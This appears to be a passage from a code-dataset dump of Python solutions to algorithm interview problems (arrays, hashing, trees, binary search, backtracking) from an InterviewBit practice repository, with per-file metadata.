max_len:\n max_len = cur_len\n return max_len\n\nif __name__ == \"__main__\":\n sol = Solution()\n # print (sol.longestSubstring(\"abcabcbb\"))\n print(sol.longestSubstring(\"Wnb9z9dMc7E8v1RTUaZPoDNIAXRlzkqLaa97KMWLzbitaCkRpiE4J4hJWhRcGnC8H6mwasgDfZ76VKdXhvEYmYrZY4Cfmf4HoSlchYWFEb1xllGKyEEmZOLPh1V6RuM7Mxd7xK72aNrWS4MEaUmgEn7L4rW3o14Nq9l2EN4HH6uJWljI8a5irvuODHY7A7ku4PJY2anSWnfJJE1w8p12Ks3oZRxAF3atqGBlzVQ0gltOwYmeynttUmQ4QBDLDrS4zn4VRZLosOITo4JlIqPD6t4NjhHThOjJxpMp9fICkrgJeGiDAwsb8a3I7Txz5BBKV9bEfMsKNhCuY3W0ZHqY0MhBfz1CbYCzwZZdM4p65ppP9s5QJcfjadmMMi26JKz0TVVwvNA8LP5Vi1QsxId4SI19jfcUH97wmZu0pbw1zFtyJ8GAp5yjjQTzFIboC1iRzklnOJzJld9TMaxqvBNBJKIyDjWrdfLOY8FGMOcPhfJ97Dph35zfxYyUf4DIqFi94lm9J0skYqGz9JT0kiAABQZDazZcNi80dSSdveSl6h3dJjHmlK8qHIlDsqFd5FMhlEirax8WA0v3NDPT8vPhwKpxcnVeu14Gcxr3h1wAXXV0y7Xy9qqB2NQ5HQLJ7cyXAckEYHsLCPSy28xcdNJatx1KLWohOQado4WywJbGvsFR17rKmvOPABweXnFD3odrbSMD4Na4nuBBswvMmFRTUOcf7jZi4z5JnJqXz6hitaPnaEtjoSEBq82a52nvqYy7hhldBoxen2et2OMadVEHeTYLL7GLsIhTP6UizHIuzcJMljo4lFgW5AyrfUlIBPAlhwaSiJtTvcbVZynDSM6RO1PqFKWKg2MHIgNhjuzENg2oFCfW7z5KJvEL9qWqKzZNc0o3BMRjS04NCHFvhtsteQoQRgz84XZBHBJRdekCdcVVXu9c01gYRAz7oIAxN3zKZb64EFKssfQ4HW971jv3H7x5E9dAszA0HrKTONyZDGYtHWt4QLhNsIs8mo4AIN7ecFKewyvGECAnaJpDn1MTTS4yTgZnm6N6qnmfjVt6ZU51F9BxH0jVG0kovTGSjTUkmb1mRTLQE5mTlVHcEz3yBOh4WiFFJjKJdi1HBIBaDL4r45HzaBvmYJPlWIomkqKEmQ4rLAbYG7C5rFfpMu8rHvjU7hP0JVvteGtaGn7mqeKsn7CgrJX1tb8t0ldaS3iUy8SEKAo5IZHNKOfEaij3nI4oRVzeVOZsH91pMsA4jRYgEohubPW8ciXwVrFi1qEWjvB8gfalyP60n1fHyjsiLW0T5uY1JzQWHKCbLVh7QFoJFAEV0L516XmzIo556yRH1vhPnceOCjebqgsmO78AQ8Ir2d4pHFFHAGB9lESn3OtJye1Lcyq9D6X93UakA3JKVKEt6JZDLVBMp4msOefkPKSw59Uix9d9kOQm8WCepJTangdNSOKaxblZDNJ5eHvEroYacBhd9UdafEitdF3nfStF7AhkSfQVC61YWWkKTNdx96OoJGTnxuqt4oFZNFtO7aMuN3IJAkw3m3kgZFRGyd3D3wweagNL9XlYtvZwejbjpkDOZz33C0jbEWaMEaUPw6BG49XqyQoUwtriguO0yvWyaJqD4ye3o0E46huKYAsdKAq6MLWMxF6tfyPVaoqOGd0eOBHbAF89XXmDd4AIkoFPXkAOW8hln5nXnIWP6RBbfEkPPbxoToMbV\"))" }, { "alpha_fraction": 0.4054054021835327, "alphanum_fraction": 0.4692874550819397, "avg_line_length": 26.200000762939453, "blob_id": "ab86ca80e879ad121507ca839affa3a69ad73bb5", "content_id": "079cfbdd6487dfacc8a8414828f16735fdafe596", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 407, "license_type": "no_license", "max_line_length": 39, "num_lines": 15, "path": "/arrays/maxSubArr.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n def maxSubArray(self, A):\n max_sum = -9223372036854775808\n last_sum = 0\n for i in range(len(A)):\n last_sum += A[i]\n if max_sum < last_sum:\n max_sum = last_sum\n if last_sum < 0:\n last_sum = 0\n return max_sum\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.maxSubArray([-2, -123]))" }, { "alpha_fraction": 0.3340013325214386, "alphanum_fraction": 0.34402137994766235, "avg_line_length": 33.04545593261719, "blob_id": "549876c54c5d9b193be56f9903e52b52c5351ac7", "content_id": "f06d6610b79b90daca4ef045296f32f33175e6ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1497, "license_type": "no_license", "max_line_length": 73, "num_lines": 44, "path": "/hashing/equal.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def equal(self, A):\n hash_map = {}\n n = len(A)\n last_values = []\n for i in range(n):\n mode = 0\n for j in range(i+1, n):\n val = A[i] + A[j]\n # print (val)\n values= []\n if val in hash_map:\n if i not in hash_map[val] and j not in hash_map[val]:\n values.extend(hash_map[val])\n values.append(i)\n values.append(j)\n # values.sort()\n print (\"Values\")\n print (values)\n print (last_values)\n # mode = 1\n if not last_values:\n last_values = values.copy()\n else:\n if last_values > values:\n last_values = values.copy()\n # last_values.sort()\n # break\n else:\n hash_map[val] = []\n hash_map[val].append(i)\n hash_map[val].append(j)\n # if mode == 1:\n # break\n # print (hash_map)\n # print (val)\n # last_values.sort()\n return last_values\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.equal([1, 2, 3, 4]))\n # print (sol.equal([3, 4, 7, 1, 2, 9, 8]))" }, { "alpha_fraction": 0.3528169095516205, "alphanum_fraction": 0.37605634331703186, "avg_line_length": 24.35714340209961, "blob_id": "22f6a011b5459da02eb9b8b9992a0960642e2997", "content_id": "9b63caf87af51766435ff7c6e388123c759b9579", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1420, "license_type": "no_license", "max_line_length": 45, "num_lines": 56, "path": "/Linked LIst/sort.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param A : head node of linked list\n def sort(self, A):\n n = 0\n head = A\n while A != None:\n n += 1\n A = A.next\n A = head\n head = self.mergeSort(A, n)\n return head\n\n def mergeSort(self, A, n):\n if n == 1:\n return A\n h1 = A\n h2 = A\n index = 0\n while index < n // 2:\n index += 1\n last = h2\n h2 = h2.next\n last.next = None\n h1 = self.mergeSort(h1, n // 2)\n h2 = self.mergeSort(h2, n - (n // 2))\n\n head = None\n new_head = head\n while h1 != None and h2 != None:\n if h1.val <= h2.val:\n if head == None:\n head = h1\n new_head = head\n else:\n head.next = h1\n head = head.next\n h1 = h1.next\n else:\n if head == None:\n head = h2\n new_head = head\n else:\n head.next = h2\n head = head.next\n h2 = h2.next\n if h1 != None:\n head.next = h1\n if h2 != None:\n head.next = h2\n return new_head\n" }, { "alpha_fraction": 0.3190789520740509, "alphanum_fraction": 0.3618420958518982, "avg_line_length": 28.45161247253418, "blob_id": "05c9e24e0368dc2a9b8f21650a43c158b6567b7c", "content_id": "f3739a522d2f37fd6499dbf9e56b7815b1717ed9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 912, "license_type": "no_license", "max_line_length": 110, "num_lines": 31, "path": "/Two Pointers/removeDuplicateII.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def remove_duplicate(self, A):\n n = len(A)\n start = 2\n length = 2\n last = 2\n write = 0\n while start < n:\n print (f\"{start}::{last}::{write}\")\n if A[start] == A[start-1] and A[start-1] == A[start-2] and (not (last == start-1 and write == 1)):\n # A.pop(start)\n # n -= 1\n start += 1\n write = 0\n else:\n if A[last] != A[start]:\n A[last] = A[start]\n write = 1\n else:\n write = 0\n start += 1\n length += 1\n last += 1\n A = A[:length]\n print (A)\n return length\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.remove_duplicate([ 0, 0, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3 ]))" }, { "alpha_fraction": 0.4193877577781677, "alphanum_fraction": 0.44591838121414185, "avg_line_length": 27.852941513061523, "blob_id": "c93a3afeed7c5384973f68eead1f42bfd1ed2809", "content_id": "7f25ef0a47fbecd7c4d6e1ecb24ece9dfe4bd680", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 980, "license_type": "no_license", "max_line_length": 79, "num_lines": 34, "path": "/math/gridUniquePaths.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : integer\n # @param B : integer\n # @return an integer\n\n # def uniquePaths(self, A, B): ## This is recursion, it will be slow to TLE\n # paths = self.get_paths(A - 1, B - 1)\n # return paths\n #\n # def get_paths(self, A, B):\n # print (f\"{A}::{B}\")\n # if A < 0 or B < 0:\n # return 0\n # if A == 0 and B == 0:\n # return 1\n # val = self.get_paths(A, B - 1)\n # val += self.get_paths(A - 1, B)\n # return val\n\n ## DP code\n def uniquePaths(self, A, B):\n grid = [[0 for x in range(B)] for i in range(A)]\n for i in range(A):\n grid[i][0] = 1\n for i in range(B):\n grid[0][i] = 1\n for i in range(1, A):\n for j in range(1, B):\n grid[i][j] = grid[i - 1][j] + grid[i][j - 1]\n return grid[A - 1][B - 1]\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.uniquePaths(1, 3000))" }, { "alpha_fraction": 0.8157894611358643, "alphanum_fraction": 0.8157894611358643, "avg_line_length": 37, "blob_id": "0a8e5ed34066da26e9c7b50030b80a5efd4f508e", "content_id": "c6b1f339aaabd67cd30151d1ece6e99093d92d3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 76, "license_type": "no_license", "max_line_length": 66, "num_lines": 2, "path": "/README.md", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# python\nSolution for algo questions from Interview Bit and Geeks for Geeks\n" }, { "alpha_fraction": 0.41480445861816406, "alphanum_fraction": 0.43156424164772034, "avg_line_length": 24.60714340209961, "blob_id": "5cd8f5c28e6306192c94c58f0945d8927dba56ab", "content_id": "c9bcc8c28a00f602a083ef9dbe544d5e745f2aab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 716, "license_type": "no_license", "max_line_length": 45, "num_lines": 28, "path": "/binary search/sortedInsertPosition.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : list of integers\n # @param B : integer\n # @return an integer\n def searchInsert(self, A, B):\n index = self.binary_search(A, B)\n return index\n\n def binary_search(self, A, B):\n start = 0\n end = len(A) - 1\n mid = 0\n while start <= end:\n mid = int((start + end) / 2)\n if A[mid] > B:\n end = mid - 1\n elif A[mid] < B:\n start = mid + 1\n else:\n return mid\n if A[mid] >= B:\n return mid\n elif A[mid] < B:\n return mid + 1\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.searchInsert([1, 2, 3, 5], 4))" }, { "alpha_fraction": 0.4312039315700531, "alphanum_fraction": 0.43980345129966736, "avg_line_length": 21.61111068725586, "blob_id": "216501b38bce10156b0d916d884d3d805c77e0b8", "content_id": "45a526ad69ca179395392d54cfe81a369f012573", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 814, "license_type": "no_license", "max_line_length": 47, "num_lines": 36, "path": "/backtracking/palindromePartitioning.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def palindromPart(self, A):\n out = []\n temp = []\n self.plainPart(A, 0, temp, out)\n return out\n\n def plainPart(self, A, index, temp, out):\n if index == len(A):\n out.append(temp)\n\n n = len(A)\n for i in range(index+1, n+1):\n new_temp = temp[:]\n val = A[index:i]\n if not self.palinCheck(val):\n continue\n\n new_temp.append(val)\n self.plainPart(A, i, new_temp, out)\n\n\n def palinCheck(self, val):\n n = len(val) - 1\n i = 0\n while i < n:\n if val[i] != val[n]:\n return False\n i += 1\n n -= 1\n return True\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.palindromPart(\"aab\"))\n" }, { "alpha_fraction": 0.4776674807071686, "alphanum_fraction": 0.48511165380477905, "avg_line_length": 23.454545974731445, "blob_id": "e14d8ef17c8c360134ace130618ce56296580538", "content_id": "d78d4ea093541d97f7072c62a1eb0f4cdc385e13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 806, "license_type": "no_license", "max_line_length": 50, "num_lines": 33, "path": "/Stack and Queues/minStack.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class MinStack:\n def __init__(self):\n self.stack = []\n self.min_value = []\n\n # @param x, an integer\n def push(self, x):\n self.stack.append(x)\n if not self.min_value:\n self.min_value.append(x)\n else:\n min_value = min(x, self.min_value[-1])\n if min_value == x:\n self.min_value.append(x)\n\n # @return nothing\n def pop(self):\n if self.stack:\n y = self.stack.pop()\n if y == self.min_value[-1]:\n self.min_value.pop()\n\n # @return an integer\n def top(self):\n if not self.stack:\n return -1\n return self.stack[-1]\n\n # @return an integer\n def getMin(self):\n if not self.stack:\n return -1\n return self.min_value[-1]" }, { "alpha_fraction": 0.5226308107376099, "alphanum_fraction": 0.5311173796653748, "avg_line_length": 31.86046600341797, "blob_id": "c88c408ebbfe56d699d44e322232ad0c2d92fab1", "content_id": "916c7384f0092c7458fba793a0b465498591e01e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1414, "license_type": "no_license", "max_line_length": 79, "num_lines": 43, "path": "/Trees/verticalOrderTraversal.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for a binary tree node\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n # @param A : root node of tree\n # @return a list of list of integers\n def verticalOrderTraversal(self, A):\n if A == None:\n return []\n hash_map = {}\n min_width = self.recurNode(A, hash_map, 0, 0)\n # print (hash_map)\n # print (min_width)\n out = []\n while min_width in hash_map:\n hash_map[min_width].sort(key=lambda x: x[0])\n vertical = []\n for i in range(len(hash_map[min_width])):\n vertical.append(hash_map[min_width][i][1])\n out.append(vertical)\n min_width += 1\n return out\n\n def recurNode(self, node, hash_map, depth, width):\n if node == None:\n return width + 1\n if width not in hash_map:\n hash_map[width] = [(depth, node.val)]\n else:\n hash_map[width].append((depth, node.val))\n new_width = self.recurNode(node.left, hash_map, depth + 1, width - 1)\n # print (node.val)\n # print (new_width)\n new_width1 = self.recurNode(node.right, hash_map, depth + 1, width + 1)\n return min(new_width, new_width1)\n\nif __name__ == \"__main__\":\n sol = Solution()\n # print (sol.verticalOrderTraversal(root))\n\n" }, { "alpha_fraction": 0.4833759665489197, "alphanum_fraction": 0.5038363337516785, "avg_line_length": 22.727272033691406, "blob_id": "ce009922609404363080180c4d808bcea68c99dc", "content_id": "2d8d056f13ad18acba186c7553b33ac09aec09af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 782, "license_type": "no_license", "max_line_length": 64, "num_lines": 33, "path": "/Trees/BTfromInPre.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Node():\n\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution():\n\n def BTfromInPre(self, A, B):\n head = self.get_BT(A, B)\n return head\n\n def get_BT(self, A, B):\n if not A:\n return None\n node = Node(A[0])\n index = B.index(A[0])\n node.left = self.get_BT(A[1:index+1], B[:index])\n node.right = self.get_BT(A[index+1:], B[index+1:])\n return node\n\n def print_inorder(self, node):\n if node == None:\n return\n self.print_inorder(node.left)\n self.print_inorder(node.right)\n\nif __name__ == \"__main__\":\n\n sol = Solution()\n head = sol.BTfromInPre([ 1, 2, 3, 4, 5 ], [ 3, 2, 4, 1, 5 ])\n sol.print_inorder(head)" }, { "alpha_fraction": 0.40514904260635376, "alphanum_fraction": 0.41734418272972107, "avg_line_length": 23.566667556762695, "blob_id": "a7e86b1469a146c96c7007dfed9c82a0468e904a", "content_id": "129fa8e25a737fd7480514c5db417d07a97f3779", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 738, "license_type": "no_license", "max_line_length": 53, "num_lines": 30, "path": "/backtracking/parenthesis.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def parenthesis(self, A):\n out = []\n temp = ''\n self.get(A, 0, temp, out)\n return out\n\n def get(self, A, sum, temp, out):\n if len(temp) == A*2 and sum == 0:\n out.append(temp)\n elif len(temp) > A*2 or sum < 0:\n return\n\n # print (temp)\n\n if sum == A:\n new_temp = temp[:]\n new_temp += ')'\n sum -= 1\n self.get(A, sum, new_temp, out)\n else:\n new_temp = temp[:]\n self.get(A, sum+1, new_temp+'(', out)\n if new_temp != '':\n self.get(A, sum-1, new_temp+')', out)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.parenthesis(3))\n\n" }, { "alpha_fraction": 0.4059540033340454, "alphanum_fraction": 0.42760488390922546, "avg_line_length": 29.83333396911621, "blob_id": "4468ce49afa3e553304bbf70729f377d4aef4c6f", "content_id": "09e9a6e8bd9212c68445da74f5c455252d2d37c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 739, "license_type": "no_license", "max_line_length": 70, "num_lines": 24, "path": "/binary search/rotatedArrayMin.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : tuple of integers\n # @return an integer\n def findMin(self, A):\n start = 0\n end = len(A) - 1\n while start <= end:\n mid = int((start + end)/2)\n # print (mid)\n left_value = A[mid-1] if mid > 0 else A[mid] - 1\n right_value = A[mid+1] if mid < len(A) - 1 else A[mid] + 1\n if left_value > A[mid] and A[mid] < right_value:\n return A[mid]\n elif A[mid] >= A[0]:\n start = mid + 1\n elif A[mid] <= A[len(A)-1]:\n end = mid - 1\n else:\n return A[0]\n return A[0]\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.findMin([1]))" }, { "alpha_fraction": 0.38297873735427856, "alphanum_fraction": 0.4160756468772888, "avg_line_length": 22.55555534362793, "blob_id": "2c35ee80ebee9ea8299022aba9eacd082a0ccf8a", "content_id": "7fd2459df1e4002cd68adf57d79ba31a3811dbc2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 423, "license_type": "no_license", "max_line_length": 53, "num_lines": 18, "path": "/hashing/2Sum.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def TwoSum(self, A, B):\n hash_map = {}\n out = []\n for i in range(len(A)):\n\n if B-A[i] in hash_map:\n out.extend([hash_map[B-A[i]]+1, i+1])\n break\n\n if A[i] not in hash_map:\n hash_map[A[i]] = i\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.TwoSum([2, 2, 2, 7, 7, 11, 15], 119))" }, { "alpha_fraction": 0.39246466755867004, "alphanum_fraction": 0.39717426896095276, "avg_line_length": 25.58333396911621, "blob_id": "cf19e1a3e482efa9abb113e127fd60d9d1ab2ae1", "content_id": "48e58e767fdf60e71724f4e44e3d216a736fa178", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 637, "license_type": "no_license", "max_line_length": 59, "num_lines": 24, "path": "/Strings/reverseString.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def reverseString(self, A):\n words = []\n last = ''\n n = len(A)\n for i in range(n):\n if A[i] == ' ':\n if last != '':\n words.append(last)\n last = ''\n continue\n last += A[i]\n if last != '':\n words.append(last)\n word_length = len(words)\n output = ''\n for i in range(word_length-1, -1, -1):\n output += ' ' + words[i]\n return output.strip()\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.reverseString(\" the sky blue \"))" }, { "alpha_fraction": 0.5700934529304504, "alphanum_fraction": 0.5794392228126526, "avg_line_length": 28.272727966308594, "blob_id": "72dc84e364362a33ae19346783c838c850277deb", "content_id": "8ae0b7c071145af712a8a543201ff915176a3a0a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 321, "license_type": "no_license", "max_line_length": 54, "num_lines": 11, "path": "/Trees/maxDepth.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def max_depth(self, head):\n return self.get_depth(head, 0)\n\n def get_depth(self, head, depth):\n if head == None:\n return depth\n ldepth = self.get_depth(head.left, depth + 1)\n rdepth = self.get_depth(head.right, depth + 1)\n return max(ldepth, rdepth)" }, { "alpha_fraction": 0.375, "alphanum_fraction": 0.42741936445236206, "avg_line_length": 21.636363983154297, "blob_id": "0d9ead15cbff8224c2f0324e2210cf6e6a95b228", "content_id": "0a1a5c486c28e62d4167c756731f675f0bd8f8b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 248, "license_type": "no_license", "max_line_length": 41, "num_lines": 11, "path": "/arrays/waveArray.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def wave(self, A):\n A.sort()\n for i in range(0, len(A) - 1, 2):\n A[i+1], A[i] = A[i], A[i+1]\n return A\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.wave([7, 10 , 12, 12, 6]))" }, { "alpha_fraction": 0.38430172204971313, "alphanum_fraction": 0.43527013063430786, "avg_line_length": 35.37036895751953, "blob_id": "c2d81fab183321fe2df36c5b432d03e39ad88db9", "content_id": "59414572cb2e836dd8a5ab2ab36228a2e2ff6176", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 981, "license_type": "no_license", "max_line_length": 128, "num_lines": 27, "path": "/arrays/rotateMatrix.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def rotateMatrix(self, A):\n row_start = 0\n row_end = len(A) - 1\n col_start = 0\n col_end = len(A) - 1\n while row_start <= row_end:\n for i in range(0, col_end - col_start):\n print(f\"row: {row_start}: {row_end}\")\n print(f\"col: {col_start}: {col_end}\")\n temp = A[row_start][col_start + i]\n A[row_start][col_start + i] = A[row_end - i][col_start]\n A[row_end - i][col_start] = A[row_end][col_end - i]\n A[row_end][col_end - i] = A[row_start + i][col_end]\n A[row_start + i][col_end] = temp\n print (A)\n row_start += 1\n col_start += 1\n row_end -= 1\n col_end -= 1\n return A\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.rotateMatrix([[1,2, 3,4, 5], [6, 7,8, 9, 10], [11,12, 13, 14, 15], [16, 17, 18, 19 , 20], [21, 22, 23, 24, 25]]))" }, { "alpha_fraction": 0.46345382928848267, "alphanum_fraction": 0.4658634662628174, "avg_line_length": 24.95833396911621, "blob_id": "e04039e2f41ae5a2125065f38c228383c970c525", "content_id": "aa10830eecc7b2cc3b07fcdcd2ee779ed62ae629", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1245, "license_type": "no_license", "max_line_length": 77, "num_lines": 48, "path": "/Trees/shortestUniquePrefix.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Node():\n\n def __init__(self, x):\n self.val = x\n self.count = 0\n self.nodes = {}\n\nclass Solution():\n\n def shortestUniquePrefix(self, A):\n root = Node('')\n n = len(A)\n for i in range(n):\n self.add_word(root, A[i])\n out = []\n for i in range(n):\n out.append(self.get_prefix(root, A[i]))\n return out\n\n def add_word(self, root, word):\n letters = [l for l in word]\n head = root\n for letter in letters:\n if letter in head.nodes:\n head = head.nodes[letter]\n else:\n node = Node(letter)\n head.nodes[letter] = node\n head = node\n head.count += 1\n return\n\n def get_prefix(self, root, word):\n letters = [l for l in word]\n head = root\n prefix = ''\n for letter in letters:\n node = head.nodes[letter]\n prefix += letter\n if node.count == 1:\n return prefix\n else:\n head = head.nodes[letter]\n return prefix\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.shortestUniquePrefix([\"zebra\", \"dog\", \"duck\", \"dove\", \"zeg\"]))" }, { "alpha_fraction": 0.4646017551422119, "alphanum_fraction": 0.4646017551422119, "avg_line_length": 25.115385055541992, "blob_id": "015a32a659cdcdd61f2175ff26829cb70eae5fca", "content_id": "6f05c4569b53c20e56562def25195d50ffc359b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 678, "license_type": "no_license", "max_line_length": 65, "num_lines": 26, "path": "/Linked LIst/listCycle.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param A : head node of linked list\n def listCycle(self, A):\n loop = None\n head = A\n if A == None:\n return loop\n ptr = A.next\n while A != None and ptr != None:\n if A == ptr:\n loop = A\n break\n A = A.next\n ptr = ptr.next.next if ptr.next != None else ptr.next\n if loop == None:\n return loop\n while head != loop:\n head = head.next\n loop = loop.next\n return head" }, { "alpha_fraction": 0.4060150384902954, "alphanum_fraction": 0.43071964383125305, "avg_line_length": 28.125, "blob_id": "657feea3cf0d3834bb438a156ba9dff0f00c180a", "content_id": "11a0409735962270e139ca3c8db8fcb747e5b10a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 931, "license_type": "no_license", "max_line_length": 50, "num_lines": 32, "path": "/binary search/searchRange.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : tuple of integers\n # @param B : integer\n # @return a list of integers\n def searchRange(self, A, B):\n left_index = self.binary_search(A, B, 0)\n if left_index == -1:\n return [-1, -1]\n right_index = self.binary_search(A, B, 1)\n return [left_index, right_index]\n\n def binary_search(self, A, B, mode):\n start = 0\n end = len(A) - 1\n result = -1\n while start <= end:\n mid = int((start + end) / 2)\n if A[mid] > B:\n end = mid - 1\n elif A[mid] < B:\n start = mid + 1\n else:\n result = mid\n if mode == 0:\n end = mid - 1\n elif mode == 1:\n start = mid + 1\n return result\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.searchRange([5, 7, 7, 8, 8, 10], 8))" }, { "alpha_fraction": 0.4571428596973419, "alphanum_fraction": 0.4714285731315613, "avg_line_length": 26.434782028198242, "blob_id": "85ab066dd66eed547244aa1353497637cebefacd", "content_id": "39aef7cb5d61be63d780c4d1aeb5fc0a4ac76fea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 630, "license_type": "no_license", "max_line_length": 62, "num_lines": 23, "path": "/math/gcd.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : integer\n # @param B : integer\n # @return an integer\n def gcd(self, A, B):\n factors = []\n factors_from_right = []\n for i in range(1, int(A**0.5)+1):\n if A%i == 0:\n factors.append(i)\n if i != int(A/i):\n factors_from_right.append(int(A/i))\n factors = factors_from_right + list(reversed(factors))\n print (factors)\n for factor in factors:\n if B%factor == 0:\n return factor\n return 0\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.gcd(4, 6))" }, { "alpha_fraction": 0.4384932219982147, "alphanum_fraction": 0.45732784271240234, "avg_line_length": 35.17021179199219, "blob_id": "e449a0dab0a57cd015725ec065d2e411e3495ed3", "content_id": "7169144262c920f6d8c1cd9815c0f0595890bf3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1699, "license_type": "no_license", "max_line_length": 82, "num_lines": 47, "path": "/arrays/spiral_order_matrix.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : tuple of list of integers\n # @return a list of integers\n def spiralOrder(self, A):\n mode = 0\n row_start = 0\n row_end = len(A)\n column_start = 0\n column_end = len(A[0])\n vector = []\n while row_start < row_end and column_start < column_end:\n if mode == 0:\n # vector.extend(A[row_start][column_start:column_end])\n for i in range(column_start, column_end):\n vector.append(A[row_start][i])\n row_start += 1\n mode = 1\n elif mode == 1:\n # vector.extend(A[row_start:row_end][column_end-1])\n for i in range(row_start, row_end):\n vector.append(A[i][column_end-1])\n column_end -= 1\n mode = 2\n elif mode == 2:\n # vector.extend(reversed(A[row_end - 1][column_start:column_end]))\n for i in range(column_end - 1, column_start - 1, -1):\n vector.append(A[row_end - 1][i])\n row_end -= 1\n mode = 3\n elif mode == 3:\n # vector.extend(reversed(A[row_start:row_end][column_start]))\n for i in range(row_end - 1, row_start - 1, -1):\n vector.append(A[i][column_start])\n column_start += 1\n mode = 0\n print (vector)\n print (row_start)\n print(row_end)\n print(column_start)\n print (column_end)\n return vector\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n A = [[1 ,2, 3], [4, 5, 6]]\n print (sol.spiralOrder(A))" }, { "alpha_fraction": 0.42927631735801697, "alphanum_fraction": 0.47203946113586426, "avg_line_length": 29.450000762939453, "blob_id": "c3d6acdbb6062cad7b87ad9366e4f8f4cd43761e", "content_id": "59fe198ac374ed922bcb20a4849315582cc71966", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 608, "license_type": "no_license", "max_line_length": 55, "num_lines": 20, "path": "/Two Pointers/intersectionSortedArray.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def intersection(self, A, B):\n pointer1 = 0\n pointer2 = 0\n intersection = []\n while pointer1 < len(A) and pointer2 < len(B):\n if A[pointer1] < 